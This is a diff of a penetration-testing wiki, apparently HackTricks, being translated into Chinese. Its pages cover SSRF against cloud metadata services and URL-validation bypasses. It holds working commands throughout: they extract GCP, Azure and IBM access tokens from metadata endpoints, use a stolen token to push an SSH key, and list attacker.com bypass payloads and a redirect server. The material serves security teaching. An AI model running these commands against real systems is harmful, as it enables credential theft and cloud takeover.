echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo " ============== "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
# K8s Attributtes
## Cluster location
@ -231,68 +220,58 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
```
Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn)
Beta 目前不需要头部 (感谢 Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
```
> [!CAUTION]
> In order to **use the exfiltrated service account token** you can just do:
> 为了**使用泄露的服务账户令牌**,您可以执行以下操作:
>
> ```bash
> # Via env vars
> # 通过环境变量
> export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
> gcloud projects list
>
> # Via setup
> # 通过设置
> echo "<token>" > /some/path/to/token
> gcloud config set auth/access_token_file /some/path/to/token
> gcloud projects list
> gcloud config unset auth/access_token_file
> ```
### Add an SSH key <a href="#id-3e24" id="id-3e24"></a>
Extract the token
### 添加 SSH 密钥 <a href="#id-3e24" id="id-3e24"></a>
提取令牌
```
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
```
Check the scope of the token (with the previous output or running the following)
检查令牌的范围(使用之前的输出或运行以下命令)
```bash
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}
```
Now push the SSH key.
现在推送 SSH 密钥。
```bash
curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'
```
### Cloud Functions <a href="#id-9f1f" id="id-9f1f"></a>
The metadata endpoint works the same as in VMs but without some endpoints:
元数据端点的工作方式与虚拟机相同,但没有某些端点:
```bash
# /project
# Project name and number
@ -308,23 +287,21 @@ curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/insta
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
echo " Name: $sa"
echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
```
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
> [!WARNING]
> There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials
> 这里没有像 AWS Roles 或 GCP 服务账户这样的东西,所以不要指望找到元数据机器人凭据
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
@ -336,26 +313,25 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
[**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
[**文档** 在这里](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux)
- **Must** contain the header `Metadata: true`
- Must **not** contain an `X-Forwarded-For` header
- **必须**包含头部 `Metadata: true`
- **不能**包含 `X-Forwarded-For` 头部
> [!TIP]
> An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**.
> Azure VM 可以附加 1 个系统管理身份和多个用户管理身份。这基本上意味着你可以 **模拟所有附加到 VM 的管理身份**
>
> By **default**, the metadata endpoint will use the **system assigned MI (if any)**.
> 默认情况下,元数据端点将使用 **系统分配的 MI如果有**
>
> Unfortunately I couldn't find any metadata endpoint indicating all the MIs a VM has attached.
> 不幸的是,我找不到任何元数据端点来指示 VM 附加的所有 MI。
>
> Therefore, to find all the attached MIs you can do:
> 因此,要找到所有附加的 MI你可以
>
> - Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant)
> - 使用 az cli 获取 **附加身份**(如果你已经在 Azure 租户中攻陷了一个主体)
>
> ```bash
> az vm identity show \
@ -363,17 +339,17 @@ curl http://169.254.169.254/metadata/v1.json | jq
> --name <vm-name>
> ```
>
> - Get **attached identities** using the default attached MI in the metadata:
> - 使用元数据中的默认附加 MI 获取 **附加身份**
>
> ```bash
> export API_VERSION="2021-12-13"
>
> # Get token from default MI
> # 从默认 MI 获取令牌
> export TOKEN=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
> | jq -r '.access_token')
>
> # Get needed details
> # 获取所需的详细信息
> export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
> export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
@ -381,23 +357,22 @@ curl http://169.254.169.254/metadata/v1.json | jq
> export VM_NAME=$(curl -s -H "Metadata:true" \
> "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')
>
> # Try to get attached MIs
> # 尝试获取附加的 MIs
> curl -s -H "Authorization: Bearer $TOKEN" \
> "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
> ```
>
> - **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM:
> - **获取所有**在租户中定义的管理身份并 **暴力破解** 以查看是否有任何身份附加到 VM
>
> ```bash
> az identity list
> ```
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> 在令牌请求中使用任何参数 `object_id``client_id``msi_res_id` 来指示你想要使用的管理身份([**文档**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,将使用 **默认 MI**
{{#tabs}}
{{#tab name="Bash"}}
```bash
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
@ -421,11 +396,9 @@ curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&res
echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"
```
{{#endtab}}
{{#tab name="PS"}}
```bash
# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
@ -438,15 +411,14 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text
```
{{#endtab}}
{{#endtabs}}
### Azure App & Functions Services
### Azure 应用程序和函数服务
From the **env** you can get the values of **`IDENTITY_HEADER`** and **`IDENTITY_ENDPOINT`**. That you can use to gather a token to speak with the metadata server.
**env** 中可以获取 **`IDENTITY_HEADER`** 和 **`IDENTITY_ENDPOINT`** 的值。您可以使用这些值来获取与元数据服务器通信的令牌。
Most of the time, you want a token for one of these resources:
大多数情况下,您需要为以下资源之一获取令牌:
- [https://storage.azure.com](https://storage.azure.com/)
- [https://vault.azure.net](https://vault.azure.net/)
@ -454,11 +426,10 @@ Most of the time, you want a token for one of these resources:
- [https://management.azure.com](https://management.azure.com/)
> [!CAUTION]
> In the token requests use any of the parameters `object_id`, `client_id` or `msi_res_id` to indicate the managed identity you want to use ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). If none, the **default MI will be used**.
> 在令牌请求中使用 `object_id``client_id``msi_res_id` 中的任何参数来指示您想要使用的托管身份([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token))。如果没有,**将使用默认 MI**。
{{#tabs}}
{{#tab name="Bash"}}
```bash
# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
@ -476,30 +447,28 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-0
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
```
{{#endtab}}
{{#tab name="PS"}}
```powershell
# Define the API version
$API_VERSION = "2019-08-01"
# Function to get a token for a specified resource
function Get-Token {
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
param (
[string]$Resource
)
$url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION"
$headers = @{
"X-IDENTITY-HEADER" = $IDENTITY_HEADER
}
try {
$response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get
$response.access_token
} catch {
Write-Error "Error obtaining token for $Resource: $_"
}
}
# Get Management Token
@ -529,11 +498,11 @@ Write-Host "Storage Token: $storageToken"
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -541,11 +510,11 @@ $RequestParams = @{
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@ -561,26 +530,24 @@ Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet
```
{{#endtab}}
{{#endtabs}}
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
> [!WARNING]
> Note that in IBM by default metadata is not enabled, so it's possible that you won't be able to access it even if you are inside an IBM cloud VM
> 请注意,在 IBM 中,默认情况下元数据未启用,因此即使您在 IBM 云 VM 内部,也可能无法访问它。
```bash
export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`
# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq
@ -597,28 +564,27 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
```
Documentation for various platforms' metadata services is outlined below, highlighting the methods through which configuration and runtime information for instances can be accessed. Each platform offers unique endpoints to access its metadata services.
以下是各种平台元数据服务的文档,突出显示了可以访问实例的配置和运行时信息的方法。每个平台提供独特的端点来访问其元数据服务。
## Packetcloud
For accessing Packetcloud's metadata, the documentation can be found at: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
要访问 Packetcloud 的元数据,可以在以下位置找到文档:[https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
The necessity for a header is not mentioned. Metadata can be accessed through:
未提及需要头部。可以通过以下方式访问元数据:
- `http://169.254.169.254/openstack`
## HP Helion
The necessity for a header is not mentioned here either. Metadata is accessible at:
这里也未提及需要头部。元数据可以在以下位置访问:
- `http://169.254.169.254/2009-04-04/meta-data/`
## Oracle Cloud
Oracle Cloud provides a series of endpoints for accessing various metadata aspects:
Oracle Cloud 提供了一系列端点以访问各种元数据方面:
- `http://192.0.0.192/latest/`
- `http://192.0.0.192/latest/user-data/`
@ -627,7 +593,7 @@ Oracle Cloud provides a series of endpoints for accessing various metadata aspec
## Alibaba
Alibaba offers endpoints for accessing metadata, including instance and image IDs:
Alibaba 提供了访问元数据的端点,包括实例和镜像 ID
- `http://100.100.100.200/latest/meta-data/`
- `http://100.100.100.200/latest/meta-data/instance-id`
@ -635,26 +601,25 @@ Alibaba offers endpoints for accessing metadata, including instance and image ID
## Kubernetes ETCD
Kubernetes ETCD can hold API keys, internal IP addresses, and ports. Access is demonstrated through:
Kubernetes ETCD 可以保存 API 密钥、内部 IP 地址和端口。访问示例如下:
- `curl -L http://127.0.0.1:2379/version`
- `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
## Docker
Docker metadata can be accessed locally, with examples given for container and image information retrieval:
Docker 元数据可以在本地访问,提供了容器和镜像信息检索的示例:
- Simple example to access containers and images metadata via the Docker socket:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- Inside the container, use curl with the Docker socket:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
- 通过 Docker 套接字访问容器和镜像元数据的简单示例:
- `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
- 在容器内,使用 curl 和 Docker 套接字:
- `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
- `curl --unix-socket /var/run/docker.sock http://foo/images/json`
## Rancher
Rancher's metadata can be accessed using:
Rancher 的元数据可以通过以下方式访问:
- `curl http://rancher-metadata/<version>/<path>`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# SSRF Vulnerable Platforms
# SSRF 漏洞平台
{{#include ../../banners/hacktricks-training.md}}
Check **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
查看 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,9 +1,8 @@
# URL Format Bypass
# URL格式绕过
{{#include ../../banners/hacktricks-training.md}}
### Localhost
### 本地主机
```bash
# Localhost
http://127.0.0.1:80
@ -76,13 +75,11 @@ http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1
```
![](<../../images/image (776).png>)
The **Burp extension** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implements IP formatting bypasses.
### Domain Parser
**Burp 扩展** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) 实现了 IP 格式化绕过。
### 域解析器
```bash
https:attacker.com
https:/attacker.com
@ -111,9 +108,7 @@ attacker。com
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
```
### Domain Confusion
### 域名混淆
```bash
# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
@ -148,33 +143,29 @@ http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
#Parameter pollution
next={domain}&next=attacker.com
```
### 路径和扩展绕过
### Paths and Extensions Bypass
If you are required that the URL must end in a path or an extension, or must contain a path you can try one of the following bypasses:
如果您需要 URL 以路径或扩展名结尾,或必须包含路径,您可以尝试以下绕过方法:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path
```
### Fuzzing
The tool [**recollapse**](https://github.com/0xacb/recollapse) can generate variations from a given input to try to bypass the used regex. Check [**this post**](https://0xacb.com/2022/11/21/recollapse/) also for more information.
工具 [**recollapse**](https://github.com/0xacb/recollapse) 可以从给定输入生成变体,以尝试绕过使用的正则表达式。有关更多信息,请查看 [**这篇文章**](https://0xacb.com/2022/11/21/recollapse/)。
### Automatic Custom Wordlists
Check out the [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) from portswigger were you can introduce the allowed host and the attackers one and it'll generate a list of URLs to try for you. It also considers if you can use the URL in a parameter, in a Host header or in a CORS header.
查看 portswigger 的 [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet),您可以在其中输入允许的主机和攻击者的主机,它将为您生成要尝试的 URL 列表。它还考虑您是否可以在参数、Host 头或 CORS 头中使用 URL。
{% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
### Bypass via redirect
It might be possible that the server is **filtering the original request** of a SSRF **but not** a possible **redirect** response to that request.\
For example, a server vulnerable to SSRF via: `url=https://www.google.com/` might be **filtering the url param**. But if you uses a [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) to the place where you want to redirect, you might be able to **access filtered IP addresses** like 127.0.0.1 or even filtered **protocols** like gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
服务器可能在 **过滤 SSRF 的原始请求****但不**过滤对该请求的可能 **重定向** 响应。\
例如,一个通过 `url=https://www.google.com/` 漏洞的 SSRF 服务器可能在 **过滤 url 参数**。但是,如果您使用 [python 服务器以 302 响应](https://pastebin.com/raw/ywAUhFrv) 到您想要重定向的地方,您可能能够 **访问被过滤的 IP 地址**,如 127.0.0.1,甚至被过滤的 **协议**,如 gopher。\
[查看此报告。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -184,41 +175,39 @@ import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
```
## 解释的技巧
## Explained Tricks
### 反斜杠技巧
### Blackslash-trick
The _backslash-trick_ exploits a difference between the [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) and [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard's recognition of the backslash (`\`) as equivalent to the forward slash (`/`), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.
_反斜杠技巧_ 利用 [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) 和 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 之间的差异。虽然 RFC3986 是 URI 的一般框架,但 WHATWG 特定于网络 URL并被现代浏览器采用。关键区别在于 WHATWG 标准将反斜杠 (`\`) 视为与正斜杠 (`/`) 等价,这影响了 URL 的解析,特别是标记从主机名到 URL 路径的过渡。
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg)
### Left square bracket
### 左方括号
The “left square bracket” character `[` in the userinfo segment can cause Springs UriComponentsBuilder to return a hostname value that differs from browsers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
用户信息段中的“左方括号”字符 `[` 可能导致 Spring 的 UriComponentsBuilder 返回与浏览器不同的主机名值:[https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
### Other Confusions
### 其他混淆
![https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](<../../images/image (600).png>)
image from [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
来自 [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/](https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/)
## References
## 参考文献
- [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
- [https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet](https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,77 @@
# EL - Expression Language
# EL - 表达式语言
{{#include ../../banners/hacktricks-training.md}}
## Bsic Info
## 基本信息
Expression Language (EL) is integral in JavaEE for bridging the presentation layer (e.g., web pages) and application logic (e.g., managed beans), enabling their interaction. It's predominantly used in:
表达式语言 (EL) 是 JavaEE 中的重要组成部分,用于连接表示层(例如,网页)和应用逻辑(例如,受管 bean使它们能够相互作用。它主要用于
- **JavaServer Faces (JSF)**: For binding UI components to backend data/actions.
- **JavaServer Pages (JSP)**: For data access and manipulation within JSP pages.
- **Contexts and Dependency Injection for Java EE (CDI)**: For facilitating web layer interaction with managed beans.
- **JavaServer Faces (JSF)**:用于将 UI 组件绑定到后端数据/操作。
- **JavaServer Pages (JSP)**:用于在 JSP 页面中访问和操作数据。
- **Java EE 的上下文和依赖注入 (CDI)**:用于促进 web 层与受管 bean 的交互。
**Usage Contexts**:
**使用上下文**
- **Spring Framework**: Applied in various modules like Security and Data.
- **General Use**: Through SpEL API by developers in JVM-based languages like Java, Kotlin, and Scala.
- **Spring 框架**:应用于安全和数据等各种模块。
- **通用使用**:通过 SpEL API 由 JVM 语言(如 Java、Kotlin 和 Scala中的开发人员使用。
EL's is present in JavaEE technologies, standalone environments, and recognizable through `.jsp` or `.jsf` file extensions, stack errors, and terms like "Servlet" in headers. However, its features and the use of certain characters can be version-dependent.
EL 存在于 JavaEE 技术、独立环境中,并通过 `.jsp``.jsf` 文件扩展名、堆栈错误和头部中的“Servlet”等术语可识别。然而其特性和某些字符的使用可能依赖于版本。
> [!NOTE]
> Depending on the **EL version** some **features** might be **On** or **Off** and usually some **characters** may be **disallowed**.
> 根据 **EL 版本**,某些 **特性** 可能是 **开启****关闭**,通常某些 **字符** 可能是 **不允许** 的。
## Basic Example
## 基本示例
(You can find another interesting tutorial about EL in [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
(您可以在 [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) 找到另一个关于 EL 的有趣教程)
Download from the [**Maven**](https://mvnrepository.com) repository the jar files:
从 [**Maven**](https://mvnrepository.com) 仓库下载 jar 文件:
- `commons-lang3-3.9.jar`
- `spring-core-5.2.1.RELEASE.jar`
- `commons-logging-1.2.jar`
